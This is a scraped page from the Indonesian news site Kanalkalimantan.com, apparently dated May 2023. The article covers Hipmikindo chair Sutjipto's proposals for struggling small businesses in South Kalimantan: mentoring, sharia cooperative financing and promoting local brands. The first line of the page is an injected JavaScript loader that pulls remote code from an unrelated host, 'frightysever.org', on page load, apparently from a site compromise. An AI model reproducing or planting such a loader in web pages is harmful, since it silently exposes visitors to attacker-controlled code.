(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pelaku UMKM Banua Terpinggirkan, Ini Solusi dari Ketua DPD Hipmikindo Kalsel


KANALKALIKANTAN.COM, BANJARMASIN – Ketua Umum DPD Himpunan Pengusaha Mikro Kecil Indonesia (Hipmikindo) Kalimantan Selatan (Kalsel) Sutjipto prihatin melihat nasib pelaku UMKM yang ada di Banua.

Ketika dihantam pandemi Covid-19, Sutjipto mengatakan banyak pelaku UMKM yang berada di titik terendah hingga sampai gulung tikar.

Meskipun saat ini pelaku UMKM di Kalsel sudah mulai bangkit kembali dengan melihat peluang yang ada pasca pandemi. Namun, beberapa permasalahan yang sering dialami pelaku usaha Banua di antaranya terkait permodalan dan pemasaran produk.

Dikatakan Ketua DPD Hipmikindo Kalsel, konsumen atau masyarakat di Kalsel saat ini lebih menyukai produk bermerek, dari pada produk lokal UMKM. Berbeda dari beberapa daerah lain, produk lokal lebih diminati konsumen.

Baca juga: May Day di Banjarmasin, Mahasiswa Sentil Kerusakan Jalan Nasional Km 171 Tanbu

Sutjipto memberikan contoh seperti di Kota Yogyakarta, produk lokal lebih ditonjolkan daripada produk luar. Sehingga pelaku UMKM di sana dapat memasarkan produknya dengan percaya diri.

“Kita harus bikin seperti di Jogja, branding merek lokal milik UMKM,” katanya kepada Kanalkalimantan.com, Senin (1/5/2023) siang.

Dia juga menyebut pelaku UMKM di Kalsel saat ini banyak yang mengalami permasalahan kredit macet karena karena tak bisa mengatur keuangan.

Menurutnya karena selama ini modal usaha hanya langsung digelontorkan ke pelaku UMKM tanpa adanya pembinaan ataupun monitoring. Maka menurutnya, dibutuhkan mentor untuk membina pelaku UMKM.

Melihat fenomena itu Sutjipto pun memberikan beberapa solusi, diantaranya pembinaan pelaku UMKM harus dilakukan secara kontinyu oleh seorang mentor yang berpengalaman.

“Bukan dengan cara memberikan (dana) langsung kepada pelaku UMKM, tetapi harus ada mentornya,” ujarnya.

Baca juga: DPRD Pulang Pisau Gelar Paripurna Penyampaian Rekomendasi LKPj

Selain itu, permodalan  pelaku UMKM menurutnya juga harus dilakukan secara syariah yaitu yang sesuai dengan panduan syariat agama Islam.

“Paling mudah melalui koperasi syariah,” kata Ketua Hipmikindo Kalsel 2022-2027 ini.

“Yang perlu dilakukan tindakan riil, kita tonjolkan UMKM dan kita harus sediakan tempat menjual produk mereka,” tutup Sutjipto. (Kanalakalimantan.com/rizki)

Reporter: rizki
Editor: bie


Al Ghifari

Recent Posts

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

12 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

13 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

13 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

15 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

15 jam ago

Habib Idrus Buka Rakor TPPS Kabupaten Banjar

KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More

19 jam ago

This website uses cookies.